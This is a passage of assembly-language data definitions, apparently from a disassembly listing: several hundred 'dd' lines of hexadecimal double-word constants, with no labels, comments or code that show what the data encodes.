		dd 30AB3064h, 0FA021B3Eh, 2DC30003h, 4638F2D7h,	4100E7B1h
		dd 69FEA76Bh, 51C49Eh, 449BCCB4h, 6EB640C9h, 0DC27CB00h
		dd 34EE26EDh, 2ED4001Bh, 207A175Ch, 4E7B83B5h, 30001FF4h
		dd 85FEE802h, 1DF5B2D2h, 0C356127Dh, 3E1E6FADh,	21350930h
		dd 1241D5h, 3ECC6ACh, 8A7EC5FEh, 0F99C6D00h, 0DFE2D30Bh
		dd 98B40C3Ch, 5A1009BCh, 628FB801h, 3557E582h, 211816D3h
		dd 70820EE1h, 6380F043h, 0E8C13DE2h, 0BE688184h, 5822BC02h
		dd 95103EF3h, 6EB01070h, 517280D8h, 7A3CE4BFh, 663E98C7h
		dd 216C085Fh, 0BF396500h, 3E556B29h, 0B92B196Fh, 30F46163h
		dd 6C0062E2h, 0E82C8DEFh, 1C4B630h, 39056B1Ch, 0BBBCB0CBh
		dd 6CA30C49h, 0F556B823h, 0D0B2F0E5h, 55306A90h, 3DE808BFh
		dd 5664D567h, 0BF5D9140h, 0A507B349h, 0CA7C31Fh, 97470540h
		dd 38EE5001h, 7F630018h, 11F0F560h, 0ABF8A1A7h,	2501C274h
		dd 0CCCB6FF1h, 799C30A6h
		dd 77007D24h, 9FF336Dh,	0FE746302h, 219E6Bh, 8DB76FB1h
		dd 374B3EC3h, 2FCC868h,	33C80CCDh, 6A71D4A0h, 0A600FBA5h
		dd 7294C2B2h, 0D9059Bh,	0D4904EA2h, 34C13A02h, 0B00B0F00h
		dd 0A6C05E66h, 0EFE100ACh, 81E75BBh, 4A7744Dh, 0CB68F877h
		dd 4E11BC60h, 4DE89h, 396A79A9h, 453236D2h, 86915A0Eh
		dd 3D1978C0h, 0A2F610BDh, 90741050h, 1F4D600h, 63DC4D05h
		dd 0E74608DFh, 60395088h, 1003794Eh, 8B00C524h,	4B5AA4C2h
		dd 0E2026EBh, 7535BC31h, 1D80C36Fh, 0A3CDB268h,	4EB6D60Fh
		dd 16B100EAh, 0CFF887Fh, 0A44360A6h, 0BB015550h, 0FE4D073Dh
		dd 0C0CCA33Ah, 3480513h, 8681EBh, 0ED3C7540h, 5A0E465Ch
		dd 80D2C821h, 878DFF1Eh, 64983F5Eh, 55096083h, 0C03B0E7Bh
		dd 0B89CB75Ch, 601E0FCFh, 50EB80D8h, 0C3EA0070h, 0D6A2643Eh
		dd 855096A8h, 57618334h, 138D3CF8h, 8609DE10h, 9BA50800h
		dd 0B81E50E9h, 0F19F854h, 0D043AF48h, 0A4910720h, 7507DE2Fh
		dd 3CD4A86Ah, 0C3010340h, 452B1FBBh, 0C19F0068h, 1DDF0924h
		dd 0B566110Ah, 0CA80AC43h, 0B35DE72Eh, 0E1E8A95Ah, 58C92C4h
		dd 0AE749359h, 70FC20E2h, 0C830CB32h, 3842C0C0h, 904900E5h
		dd 0BDA8E7A4h, 0C30A6A81h, 982A093Dh, 0FE928E38h, 24B1AA48h
		dd 11325CE4h, 7251B721h, 0A7399050h, 42DF07E7h,	6066944Fh
		dd 0A104FA09h, 0B9159E00h, 0D5E0415Ah, 3C8E822h, 71254314h
		dd 900AC2E7h, 0FC0A6650h, 0FF469200h, 0F193BCh,	0E4DBE82Dh
		dd 0A283CA09h, 0C20503ECh, 19FAED81h, 61CBBC02h, 58B08868h
		dd 88DF88CEh, 398612D0h, 28874Eh, 204B35D2h, 0C79D3C7Ah
		dd 10804649h, 0AD0292C8h, 4FDD1D1Bh, 216BBCA0h,	7D50E8F3h
		dd 0C600AAE0h, 8880B692h, 1FBA76CBh, 464A1C32h,	186BC2C1h
		dd 0B0253407h, 0ABB0B749h, 0CEF8FEh, 3AF44361h,	0AF7A9B08h
		dd 2892BF7Ah, 0C56C1F07h, 9E724B6Fh, 0F6744408h, 88B0AA41h
		dd 0EAF3F490h, 7D7523D3h, 0C07D8EA2h, 48AF5BBFh, 0A980EC1Fh
		dd 97A17592h, 1CF6D812h, 0FCA82C5Fh, 0B9081624h, 0F989F200h
		dd 568CD452h, 0F010347Ch, 0D6BC1D7h, 0E2D88C6Ah, 7470C9B7h
		dd 9381CC20h, 98F67610h, 9C065128h, 3B448D00h, 0FBB32C1Eh
		dd 0C3D20097h, 0BFE76E84h, 7509FFFAh, 20A401D6h, 0A0EA4A6Ch
		dd 8FF600B6h, 70AF891Dh, 9300F3A8h, 0E7831FC5h,	0A15B549Eh
		dd 0E5E5C388h, 2BD18881h, 455206DBh, 10D40A5Ch,	4E8CA4ECh
		dd 0CA1125A0h, 9315687Ch, 1390394Eh, 4000576Bh,	0CF122ADBh
		dd 0E1A8FAFDh, 81A6C0h,	0E7D94F8Bh, 8486C9B6h, 4A02B9DEh
		dd 0A07CE84Ch, 0DAF79E80h, 9246E4C3h, 8A880120h, 511C1F7Fh
		dd 0CD809E7Bh, 0C8938CB9h, 33F4A907h, 3048E9E7h, 3184B900h
		dd 94FFFB8Ah, 143350C8h, 0E098003Bh, 0D495E621h, 2218DAACh
		dd 126875D5h, 9F80C74Ch, 1986C6A7h, 0F00E9DFh, 3AE73687h
		dd 0FC7802h, 512EEA72h,	6A14DF88h, 0C9C3CD00h, 0B5421976h
		dd 9CDD4928h, 7E32040h,	0F7BD0C87h, 0A56A6332h,	856C4388h
		dd 0B14C2630h, 2157AF5h, 0A4D59AA2h, 604BEACCh,	0DC8081B2h
		dd 112D9E9Bh, 68757B0Eh, 56802074h, 0E0CE5BF4h,	637A33C3h
		dd 589BE030h, 0FF39CDD8h, 1FF63B13h, 93E51002h,	45E89086h
		dd 702E00E0h, 0A2F3CC48h, 0E658A985h, 44DF807Ch, 2A0D641Dh
		dd 0F8FC75B2h, 1789ABCh, 72FCCB93h, 0D34CC469h,	0ADB094EBh
		dd 0A0488712h, 0B22C0020h, 7A102D5Ah, 2688EA57h, 2048A86h
		dd 0E5E135D0h, 41B0F088h, 47412D93h, 6403D2E4h,	3C1FB883h
		dd 7F4902C0h, 8558F302h, 62DDF15Bh, 9350908Ch, 3BC00243h
		dd 7B3449A5h, 0A61FE700h, 0DFFC2894h, 0B91203B0h, 43CFA79Eh
		dd 9B87B290h, 80C0F092h, 7A3786FFh, 0D3CA0003h,	25DF3188h
		dd 4E0216EDh, 7B3850F4h, 9FD080B8h, 9228EB7h, 6F3BB49h
		dd 85F23D80h, 0F5593D52h, 5BCE029Ch, 0AA280EC8h, 6487E894h
		dd 0DE2C093h, 986AE1h, 7C4306B8h, 0EC30CC76h, 9F002D41h
		dd 84F1AB8Dh, 0E20ACCh,	0AEAA01B2h, 22F00929h, 0BAC7933Fh
		dd 90661E37h, 0FDA1F80h, 8D2DBBh, 0B6B87588h, 0E9A91312h
		dd 5084A307h, 8740E84Fh, 636A4Eh, 0A8E30BB2h, 0E7385298h
		dd 806E713Bh, 6415AA0Fh, 2674751Eh, 50E07E46h, 64820E48h
		dd 18862480h, 29AD8FFCh, 0D84D0664h, 9CB98528h,	4E72042h
		dd 0B2348287h, 3804C0A9h, 480B20B6h, 248C90E9h,	466855DCh
		dd 0FA482188h, 2B3F04A0h, 4C00574h, 20C895F6h, 0B44C09C3h
		dd 61B3CD20h, 0F3881E8Ch, 8F1AF28h, 3DFA3E3h, 13F44C50h
		dd 0B105C81Ch, 9BC93642h, 89DE64C0h, 36287C8Ah,	78A98F1Ch
		dd 772C30FFh, 0A44C3D54h, 4CF7709Dh, 7084543Bh,	0C6EC816Eh
		dd 9238F112h, 0FC5EE719h, 2FC7B1B0h, 5721F11Bh,	24202B61h
		dd 0E015005Dh, 976050F5h, 0A429DE92h, 26885Ch, 567CE660h
		dd 0E0B90988h, 0AC92BE03h, 33017446h, 680A2015h, 2866BC5Ah
		dd 0E2923E0Eh, 6E340052h, 0B6EB4FB2h, 0EC40CCAAh, 14B88C75h
		dd 68437E26h, 85DFB960h, 0C29415C6h, 4105BC8Eh,	0C0B0BAD0h
		dd 3C747848h, 6890C3F2h, 0D364A100h, 0FB131FADh, 82499B6h
		dd 0BB045CF8h, 2490C486h, 13B7E9A2h, 70AA06EAh,	55024268h
		dd 0CFE65B02h, 0A9D9D581h, 11502FE4h, 0E751CA03h, 1040FBC7h
		dd 1C94224Ch, 510EC38Ch, 7B53F219h, 2C88F23Eh, 0AECB78Dh
		dd 245C0885h, 7F34010h,	2EF053C2h, 0CDDB7E03h, 0DA384F11h
		dd 89C04894h, 84ECAB55h, 1D881880h, 6AF3125Fh, 0D9802059h
		dd 0CA0507F6h, 1BFF2B65h, 585A6C41h, 29804964h,	41CC79F4h
		dd 4814BA1Ah, 0CCBC5946h, 16B040h, 0F3A606E9h, 0B3CF808Ch
		dd 0D414430Ah, 64F018BBh, 803500DCh, 9E9DD62Ah,	5A1DF415h
		dd 0B27B88E4h, 0C81EF123h, 0FE14E0h, 0B8BC0C1Bh, 0B2FFF5D6h
		dd 80194300h, 67E9EBC3h, 90C977A1h, 0E0E648B7h,	0ACE42183h
		dd 0AFA8C0C4h, 40A39F75h, 77FE93D0h, 0A13CD470h, 0C4AE2E3Ch
		dd 8ADFA058h, 3F01F8E4h, 8A337FEh, 44C6E84Eh, 1E031C50h
		dd 182BE2Fh, 90E1CEC2h,	55920CC8h, 0BB43BB3Eh, 0A8E99FE3h
		dd 4116AF02h, 1FBCE0B5h, 8EF612E1h, 931403D6h, 890094C2h
		dd 45B16541h, 55861F5Dh, 9FF8ECC1h, 9E8816E2h, 0BD6C005Eh
		dd 5495EFDBh, 0DF3C3800h, 0A46F4DB1h, 21891D1Fh, 974CE005h
		dd 387B30B4h, 12CA5AAh,	0B9EFD94Eh, 606D3CD6h, 5A709F9Ah
		dd 0C9D07E50h, 23087C52h, 8BA300BBh, 731825EBh,	3F4F743Eh
		dd 3BAB05A0h, 6C81B775h, 0BBCC8995h, 4E460547h,	4769B8F3h
		dd 0D484B320h, 426880D9h, 0B8126DDEh, 9CC050E9h, 1B27559h
		dd 0EA41230Dh, 0FB09A171h, 0A4AFD009h, 0A90848C5h, 79491A33h
		dd 0FC4818B7h, 428654A2h, 0E6FCC4E1h, 20986B0Bh, 587DA90Bh
		dd 8062C0A2h, 0A741A448h, 0A601A414h, 0EABD0ED8h, 0F04252F6h
		dd 50DBE817h, 883E5D20h, 0DC8924h, 0A3122F1Dh, 0D928DDD7h
		dd 7839C009h, 0E295925Eh, 7EC6A500h, 0C0B671A4h, 6A75B9F0h
		dd 3C60C37Dh, 0F3BC01A8h, 0D2CC7494h, 0A55609D8h, 204B4C21h
		dd 40BAE5DAh, 946A6B94h, 73CC13Ah, 0C9910167h, 935E0600h
		dd 0E14F148Bh, 6BC8086Dh, 90F21C0h, 0A5D812C2h,	3B0C002Fh
		dd 0B3C8D415h, 567ADA1Fh, 44C6B1CAh, 0B169DB70h, 164ED4h
		dd 4FC5A3C8h, 0D04801C6h, 8770137h, 0F93B7F85h,	39906C61h
		dd 0DCBB80B8h, 0B1F65CCBh, 566E01C4h, 48613585h, 7216E8D0h
		dd 0E7128D80h, 690AC0CAh
		dd 21D4FCCCh, 0B04B95CCh, 179785B5h, 0F10445A4h, 6A402C0h
		dd 4448A701h, 0A207755Ah, 9674303h, 0DF1257E0h,	2108A6BEh
		dd 9F8442B0h, 7C9569A0h, 3B41B040h, 0F094713Dh,	20845C81h
		dd 42A32612h, 75B13A68h, 0F3451200h, 0A0A0904Dh, 257D35FCh
		dd 0DC94612Dh, 16D8FC20h, 43253034h, 7A9250A0h,	78D52812h
		dd 0CF136020h, 0A850016h, 0A369AA07h, 0F00A5F1h, 92B33F3Bh
		dd 1343FF49h, 0E0A8E1h,	1B1E1850h, 0A10F353Ch, 8DABB6D6h
		dd 0A5D469F7h, 13F3F2A4h, 966D714Fh, 0B0AC2860h, 5EDCC20h
		dd 26D03DAEh, 3D4D806h,	122495FAh, 0C58444E9h, 0E0C3D0B3h
		dd 6A0AE369h, 310AA18h,	85681EACh, 0FC9D65D0h, 5D675B01h
		dd 200A2B99h, 9AD46FF8h, 85BD0E1Ch, 67010DADh, 0FCD76C1Fh
		dd 6CB2516Bh, 86AFF824h, 96283D0Eh, 809B4849h, 0EDFF12CBh
		dd 411F00F8h, 0EA7B5059h, 0FA01CEC3h, 5EA88880h, 0C04A7162h
		dd 902BBC14h, 8693E702h, 4CE0BE04h, 0DF005AC5h,	0E9AF72ABh
		dd 64F9EA70h, 91CB382Eh, 509509A0h, 7B596C18h, 8C1130A5h
		dd 49564204h, 0D3C09038h, 8300F667h, 5A0F7C6Bh,	0E05EDF8Ch
		dd 24270415h, 0F0917E71h, 970F0C50h, 29D2CEF1h,	8588E05Fh
		dd 78BC6764h, 78A1C239h, 18800C87h, 897BC60Ch, 945E0CC1h
		dd 1A11A4C8h, 0D6C100B6h, 3CEE452Eh, 3A526100h,	50EA0665h
		dd 6D50B529h, 0A401095Ah, 823FD6AFh, 18D878A0h,	113EED92h
		dd 2E0C3543h, 81AE8631h, 0A966121Dh, 689400E3h,	0A3D1EA52h
		dd 0AF93FCA0h, 24DAD89Fh, 9D80E81Ch, 6F91056Ah,	5E7CC047h
		dd 6CE975ECh, 0F6438168h, 8A6073ADh, 1434B85Ah,	8875525Ch
		dd 9CC8F100h, 0E2C9AFB4h, 0D56420F9h, 0F7B3EE01h, 5A33041Ch
		dd 94342988h, 0AB800C01h, 54E0EF7Fh, 40F40031h,	8FF3B770h
		dd 85018845h, 0A6EBBA9Eh, 0DE873E2h, 1277507h, 0B5370B40h
		dd 0F0BF2ACBh, 420002E8h, 0A6C7E17Eh, 14C4525h,	0ED0B46B4h
		dd 0C08A17AFh, 2004B9Ah, 4DB5872Bh, 0E645A7h, 15180D54h
		dd 2E0356DBh, 0FF019D70h, 2FC5FBC4h, 97C8A29Ah,	1312008Dh
		dd 0E8C14EACh, 4100A3A8h, 3A878525h, 7BF4Bh, 58510B39h
		dd 8DE5DC50h, 9169E31Ch, 71D5CFC3h, 7C90C554h, 501D0572h
		dd 1850AE09h, 60EB3B08h, 76073C20h, 0BC405E7Ch,	0F4DFCBF0h
		dd 13770761h, 809C2723h, 45ED1BE0h, 75F38E00h, 0D2BAE1BDh
		dd 0B3CC0309h, 5C9C29A2h, 0EF03EBE8h, 0FFC67000h, 65E1070Fh
		dd 128B0E6h, 4416C1C3h,	0C871D94Ah, 4E099643h, 3BBBF1h
		dd 0E2A5B714h, 0DD5200B6h, 0C3307145h, 0AC7022CBh, 0B797C01Eh
		dd 0B46C17C0h, 0FE4E994Bh, 5FAA0EC4h, 2F40D43Ah, 4666BBEBh
		dd 0F66FC80Eh, 2BF800A1h, 1C74156Ah, 0C7BFE7h, 0ACFC2777h
		dd 4A0033E0h, 0ADD4C939h, 36F6B3Ch, 0D3EBD01Bh,	0D09FEC1Dh
		dd 291A48DAh, 2B7F58h, 0FA4347Ch, 0F5FA0BDh, 0A5BAB090h
		dd 25B36F80h, 0DF28C664h, 387DABC1h, 801FEA02h,	82D4398Bh
		dd 8034E7BCh, 0C2443EA5h, 0B97A55h, 6BE63A6Ch, 0B4618C35h
		dd 0CAF32E00h, 0BB947FD6h, 68A800C3h, 4D651924h, 0AE00A2EFh
		dd 76901BDBh, 480FD031h, 80073402h, 90FBBD2Bh, 63C41394h
		dd 960F84E2h, 2046E738h, 0A98DDF55h, 0C5A61882h, 0BCA4E226h
		dd 188C840Eh, 0CF5C0020h, 7125A9h, 3AE17A33h, 86D34561h
		dd 0CD4AB23Bh, 4D960F2Ch, 358BE06Ch, 8EA45Ah, 8AB96E32h
		dd 0F719CA89h, 0CC5B2B01h, 0FB1F9961h, 0EF005ABFh, 0CE6E6893h
		dd 0EB1D7BFCh, 0D4474E35h, 0A02F5354h, 32B6A8FEh, 78140040h
		dd 132B8498h, 8D003963h, 0B2E05F87h, 54D6CFh, 414A2637h
		dd 0E53BC87Eh, 6C7BE81Eh, 744D680Bh, 0AE6700E6h, 60F4B656h
		dd 95085F02h, 40BAD07Ah, 0E7A525h, 0D70776EFh, 0CAA8279h
		dd 0C6F6389Ah, 561F0C92h, 6E00B505h, 9B36762Fh,	68230488h
		dd 8038391Bh, 46AF4CB0h, 67701500h, 0A0D5AEA4h,	0E6CD3C22h
		dd 8DE9C980h, 52135BF2h, 0F492F000h, 588424FBh,	0E1890F01h
		dd 0B9604272h, 60AE3350h, 0BA379002h, 0C8825C6Fh, 7E128020h
		dd 250A04F6h, 0C09095A9h, 96578EEh, 2BF21B00h, 507B6066h
		dd 0CFCCED49h, 8E9B3C42h, 4FF99D80h, 323FFDD6h,	9CAEC900h
		dd 34C712A9h, 0AA500017h, 8CC8CB35h, 9400648Fh,	0FCF13E01h
		dd 0E37F444h, 23726E8Bh, 30064340h, 0D448B43Dh,	39E3FE9h
		dd 14DB571Ah, 579B858h,	3DF00EE9h, 93A2D0B7h, 0DC709BEDh
		dd 43C85700h, 0AD7C2DBAh, 63D000A7h, 0B3CBC227h, 28002BA0h
		dd 0D40AFBE4h, 78E37AEBh, 0F2EE64h, 0CE1A7431h,	0E6C7DB0Bh
		dd 588F6901h, 40576BDDh, 13D4E020h, 2128014Bh, 7F532FC0h
		dd 14CEDF0h, 0C7FEBF5Ch, 7B5424F3h, 0E2D190A0h,	7B980A42h
		dd 8EC514h, 6F5E53B0h, 5A009CAAh, 3FB3AC69h, 160171h, 27D0F72Fh
		dd 0FFB661D7h, 8D3630C0h, 37B8C4h, 0EF8925F0h, 0D5A93972h
		dd 8C0A101h, 7EF7CFC2h,	50EDA2FCh, 4ABC50h, 8D8A6B13h
		dd 78C9803Eh, 0CD9FCC2Eh, 3518D703h, 7780840Ah,	72B3F2F4h
		dd 0B5D600FBh, 57176E6Bh, 0B180428h, 18BADDE0h,	118F0006h
		dd 0DC61CD4Ch, 6C09BBC9h, 0E83F1289h, 1CE4DFCh,	8C26685Ch
		dd 0DC2B16A9h, 3602DC4Ah, 0E6E26AB1h, 2D746818h, 46520798h
		dd 10A7F135h, 787D2B8h,	0D1562400h, 393BCFA8h, 9F7CAAh
		dd 3379F7B5h, 0D45C2CB6h, 0D8985203h, 984585F4h, 8126A2h
		dd 0DA6F6CA8h, 849AA575h, 900089ECh, 53579C8h, 0F2C6882Ch
		dd 370100F3h, 5E5D119Ch, 6000E13Fh, 78B415EEh, 7CB5310Eh
		dd 0E0D60034h, 0CD3D02E5h, 9C00A4DEh, 5A8F6790h, 668439h
		dd 0E67F7CF9h, 43EF763Eh, 8E00D3F2h, 0C85FDCB7h, 0BA1F59Dh
		dd 501B2E49h, 0DA1638A0h, 4A76FE45h, 4F6E6A00h,	78E61A10h
		dd 9B30003h, 0D3307FECh, 680557E3h, 0E0C3F139h,	3689ED18h
		dd 0B9A513FAh, 0F8F400AFh, 437AD4FEh, 34917400h, 3205D0E7h
		dd 715B6028h, 0C6099DD9h, 85FA8717h, 18F0B01Ch,	0F0BC12CFh
		dd 11B96378h, 0F3C0A902h, 0A80056Bh, 663900BCh,	0D0D6A2CAh
		dd 773057B9h, 1FD42843h, 60C97059h, 5E7468BDh, 0FD00EAFAh
		dd 6681FB3Dh, 0A5AAB7h,	99ADB6Ch, 5AFAE01Eh, 4A38CC60h
		dd 90B15Eh, 6451ACA4h, 48308C68h, 14961300h, 8D9E56D5h
		dd 66AF0E26h, 0F180A491h, 0ECC8FE53h, 25CC5D24h, 5FB42900h
		dd 79E81Fh, 6CBC0878h, 51F5C026h, 0B2EDF600h, 0FC353DC5h
		dd 0CB5E00B5h, 9124102Eh, 42006795h, 0AEE7CBFh,	0CEDFE9h
		dd 0A0D3D93Ah, 0A2FF5F79h, 7103AF7Fh, 0DC17270Dh, 0B60AC070h
		dd 5DDA0064h, 0A3C90E11h, 3B003C12h, 3A17EFE2h,	2584EE06h
		dd 4004CE0h, 0FC63B40Ah, 49B52B00h, 0FA442A7Fh,	676F0EF6h
		dd 0F5C05917h, 7A71857Dh, 0BA150C9Eh, 0EF9400D8h, 0B87F5414h
		dd 63260032h, 0C10D1C59h, 4F2DA4B6h, 93D820DEh,	41668F3h
		dd 1E5961A1h, 337E806Eh, 0BF594A60h, 55E10F20h,	30A90490h
		dd 0B8160C80h, 8AA6017Fh, 5402697Ah, 0F404C8A0h, 7F6B313h
		dd 7EFFE8C0h, 5DAB097Bh, 3080561Fh, 9DB8AAF7h, 4D834D48h
		dd 875B7E08h, 0E2724843h, 83190012h, 0FC928B7Bh, 4A00106Eh
		dd 90C8942Ch, 0C0D4141Fh, 9F598031h, 0FA00459Ch, 4C32AA97h
		dd 25A0CFh, 84EB1F50h, 94709BF5h, 63045AE4h, 2F8FFD3Bh
		dd 0A47A2480h, 25B91E1Fh, 0AF89002Dh, 4D95663h,	2B283Bh
		dd 0A806484Eh, 0EFFEBDAh, 0E7A0E339h, 18422680h, 1407978Eh
		dd 30AF8486h
		dd 0B77AC230h, 0E3050050h, 260485A2h, 0AD6F1209h, 5384B029h
		dd 88A644BCh, 480F1E44h, 0A8A542CCh, 22F02A22h,	1824807Bh
		dd 0C5831D4Bh, 35C2568Eh, 73A290E0h, 383483Fh, 7A173A3Dh
		dd 0FA34987Dh, 44ED009Bh, 0D2217542h, 66002883h, 0E8741A5Ch
		dd 0AA71Ch, 46038E0h, 753B2ECFh, 0A0B11000h, 0EF445A3Fh
		dd 0FCBB6F3Ch, 52C48320h, 880064A6h, 0E16EA305h, 0F8A1DC27h
		dd 40F83A9Fh, 409A599Eh, 0D8B76C81h, 8900AD4Eh,	987F1F05h
		dd 28A440Dh, 997B733Ah,	0B4808778h, 766DF96Ch, 4DAB20C0h
		dd 81EF2Eh, 3A75DC32h, 3960E951h, 0EEF0EC07h, 0CDC0DDBAh
		dd 0A74C6E1h, 0FF723B62h, 52600D4h, 0E9C56960h,	5510C754h
		dd 8DF93E18h, 39FB8890h, 0CD80A1BDh, 817F9A14h,	3F02C95Ah
		dd 78EE98AAh, 5BFCA0E9h, 78958456h, 93E41E4Ch, 91CD438Bh
		dd 0CB8A7EEh, 0E2001322h, 2FFF866Ch, 0E8BB212Ch, 63AB003Ah
		dd 9C9EDB17h, 5474B805h, 8B00317Ah, 58A82CDFh, 57A549h
		dd 8FC22414h, 0DE92BE46h, 96045200h, 0E9C4C1BAh, 0E8870398h
		dd 0A80C2470h, 80CA03B1h, 0D3BAE080h, 0F881DF8h, 618B6D15h
		dd 0A19F94E0h, 1AB862FEh, 68D0560Fh, 0AD67C308h, 0AB24AB8Ah
		dd 0CDF0003Eh, 0FF19A616h, 7CF07A9Fh, 16C0815Fh, 7E2FE58h
		dd 5514D66Ah, 7D0C60FBh, 0CC00DC4Bh, 23309777h,	1EC42658h
		dd 0FD3D03h, 19D15E51h,	3818DCB2h, 6460F18h, 6A3D1D6Dh
		dd 0C1BEC1E5h, 0DE60AC59h, 0A9BDD081h, 0E93C2057h, 0B09E8100h
		dd 5AC9DA2Ah, 12610031h, 41E5A937h, 0B41C1CD0h,	1D1DCC2Fh
		dd 4C083DCh, 1D6BD08h, 78FE00C4h, 0CF0590D4h, 9700B84Ah
		dd 0EA19925h, 0E04B68BDh, 8AF22Bh, 92665A84h, 0D482DA08h
		dd 0C7C566C4h, 60736180h, 0B01600ACh, 67CE958h,	26246342h
		dd 0AF00142Eh, 52832AA1h, 0A936010Eh, 82FF70BFh, 0D875D1BDh
		dd 0A400E4DFh, 4957EC90h, 12F2080h, 1268EA26h, 81CFBAC0h
		dd 6A9F4D1Ah, 9820CD72h, 42DA0018h, 83F58D76h, 0F61E3533h
		dd 0C8C09BF7h, 48DE10E4h, 88D70107h, 9EE33B91h,	0FBD44087h
		dd 47007CA9h, 0E5F96ED5h, 0E2F5ECDDh, 859A1D18h, 0FBF6C07Eh
		dd 0CD4371CEh, 880F8601h, 0CA347A3Eh, 1CC36AE8h, 81BBA4E9h
		dd 5228EE42h, 8E802FE1h, 246D450Dh, 0A01F68h, 7E066BB2h
		dd 1EA1873h, 20C12200h,	0B980F855h, 41C70F1Dh, 3EC0A0ACh
		dd 3888F7CDh, 7C7C58h, 0F211CA8Ch, 5F76A1h, 0EDBCE033h
		dd 7D37098Eh, 8BAD0807h, 4D90560Bh, 279EB9h, 0C35C5881h
		dd 0F1945F2Dh, 70344524h, 0F480971Eh, 1340C176h, 0A52B2A3Fh
		dd 55F318E8h, 0E20919C8h, 745B2900h, 42B4835Ch,	0F87350ABh
		dd 72F40069h, 17FF44F8h, 0D300B93Ch, 2C88197Fh,	0BF2B76h
		dd 0AD1C399Dh, 0C69509E2h, 0E5BCEF00h, 0E054673Fh, 702F0025h
		dd 0C5DF3374h, 5C00A8FDh, 916316FCh, 3B5313C1h,	0E50048B2h
		dd 3D70DF44h, 0FD00CC45h, 0B10C0203h, 0EF04A882h, 8850C0F6h
		dd 542900CAh, 0F006F2A3h, 8D00EBBFh, 52E7C195h,	18556D4h
		dd 35844074h, 7019DB9Eh, 161F91B3h, 0BA007015h,	3E142076h
		dd 23FB0085h, 4506A3F3h, 570637D2h, 318A33F5h, 8E7550h
		dd 26A7CE59h, 250B09A6h, 0FE198100h, 0E9173FE8h, 48280040h
		dd 695673F7h, 0E2007E5Ch, 47EF51A5h, 7AFE8EC0h,	0B97F3Bh
		dd 810B8860h, 410444E2h, 0E6B12800h, 1FA6912h, 2E463D64h
		dd 0AFF76300h, 0C45EC0B6h, 0C14CD500h, 0EF6BB9E2h, 45840051h
		dd 4706A225h, 600093E6h, 9824E091h, 720F1F62h, 0B1FF00FCh
		dd 0B0BF6AACh, 0E700F281h, 94800A55h, 3DD5B8FDh, 7C80F638h
		dd 7E029BBEh, 1D00EF54h, 2B3DA261h, 1B1FCh, 0BCD81CB3h
		dd 80757FDCh, 0D4989612h, 0D10B9400h, 28A6Fh, 8978D845h
		dd 0FDFB14D5h, 0D77E5DEAh, 4A2239h, 9DB91B98h, 0D938A0h
		dd 5D4F3D1Ah, 0CC109179h, 0E7CB6200h, 0F1E42971h, 11781DF0h
		dd 0CDAD81D4h, 0E4F39944h, 0E0387ED8h, 0A1C8034h, 0A6C2A97Dh
		dd 0B71B0193h, 482D65F6h, 88EDF8D4h, 0F73F7F7Fh, 0AF880A0h
		dd 0C49A56ECh, 4AAD07F5h, 0A0D2021Eh, 0B501EEA1h, 58349C00h
		dd 91D6EAAEh, 0FC3900A0h, 1A217806h, 97286842h,	6E008CE9h
		dd 0EB8D81C4h, 0CD8A85h, 126540F1h, 8BA2E21Dh, 0C5C3C00h
		dd 8861DB7Ch, 94D248F2h, 0D120700Bh, 83862180h,	94001AFDh
		dd 0CD3F7279h, 9011A380h, 639100B1h, 0BCB9C5D5h, 5700B424h
		dd 5661D2D9h, 0FBC658h,	2E44DB53h, 0B8656A9Eh, 8E273300h
		dd 0F9EF38BEh, 14EF2EEh, 0B2E3BB02h, 0FD349AB5h, 22C0C235h
		dd 0DB003355h, 4676190h, 0E7A45Fh, 39B05AE9h, 0BBB7AA8Eh
		dd 3F6FEC01h, 859EEA1Dh, 0A0D28520h, 2048698h, 0C74815D0h
		dd 0EDC0F0EBh, 233BA895h, 99718B13h, 2B2B06B2h,	0BFE00E6h
		dd 0A04D8C32h, 0EE13B8C5h, 2E073EFCh, 0B3F04C08h, 2D1CC7h
		dd 28B62677h, 3256F9C5h, 0A542150Eh, 416A137h, 0C2400AE4h
		dd 39173CC7h, 5E80C2C8h, 90CA5B68h, 0C9E6E44Dh,	72BFD603h
		dd 0E8FC3207h, 126A3E34h, 235F394Bh, 12D83104h,	0CD00F195h
		dd 0DFED3AE7h, 595BC9h,	0DC7E1DC5h, 0E6F8DDC1h,	39F4DA00h
		dd 0BDB7A52Fh, 0D5C80556h, 3F7FFEh, 99705EF0h, 0EE00518Bh
		dd 4421DBD7h, 7AA89Ch, 0B92BCF17h, 2F6E9B1Ch, 2DDE160Fh
		dd 974D206Ah, 245554h, 38EF46AAh, 295B83DCh, 5D0FFA00h
		dd 4097E331h, 575AC967h, 0E84AB400h, 6900B423h,	5A6E4CAFh
		dd 0F67C442Dh, 0E5B30511h, 1452187Dh, 0DB03BCFEh, 0E7267FA1h
		dd 7999C6C0h, 0D770F00h, 6748ABB8h, 3C0530C5h, 0DDBEB658h
		dd 8F6D7212h, 95864C40h, 0B3E184h, 533AAA48h, 930E922Ah
		dd 4F14609Dh, 0F091E4h,	0D9BCCD27h, 68C0948Eh, 2649632Dh
		dd 5F9502C2h, 7030C868h, 6973DBC0h, 0F69ECA28h,	0C705BE0Eh
		dd 0E1E980F5h, 1D0E5BA4h, 0DF8B1F16h, 0DC5AC036h, 1715C804h
		dd 0B3E5D000h, 72A9CA81h, 9F7909EEh, 38011C7Fh,	0E07D2BB1h
		dd 5B004F46h, 0CA8CDBCh, 8D6573h, 0B10FCC96h, 6C399499h
		dd 0F75B982Eh, 0CB1CC900h, 0EC767CD8h, 0A53F006Ah, 9E088307h
		dd 98CE2C54h, 61AC589h,	425D9E80h, 0D07A2Dh, 36826488h
		dd 15748BCAh, 4C721000h, 3C473E35h, 16DA00EBh, 0C3A852A2h
		dd 6900EE08h, 64F041AEh, 981F1377h, 38E72C04h, 3D003F41h
		dd 7C30CC23h, 31B03F67h, 0B1EF1C00h, 0BCD29F7Ah, 0EB18039Dh
		dd 2C47CD45h, 711A8085h, 0AD03A7B8h, 0A52DABF6h, 6E83D8E3h
		dd 5D170FF8h, 0D5000440h, 0D7C06597h, 4D15C500h, 0D4661B3h
		dd 33D0A00Eh, 808700D5h, 55E941BEh, 0F200B65Dh,	86220CFEh
		dd 7695967h, 4D6E9A33h,	7119905Ch, 0BD07A9CEh, 0B7B9AA39h
		dd 5EA06071h, 1F7D360h,	9FF20502h, 0D02C990Ah, 0AC72DD89h
		dd 0AAA73800h, 0D85E185Dh, 21F0C5h, 80144CCh, 941BF2A9h
		dd 192F9E1Dh, 0BD7B6800h, 0E3C238h, 6C823D5Eh, 0D5CAEC2Ah
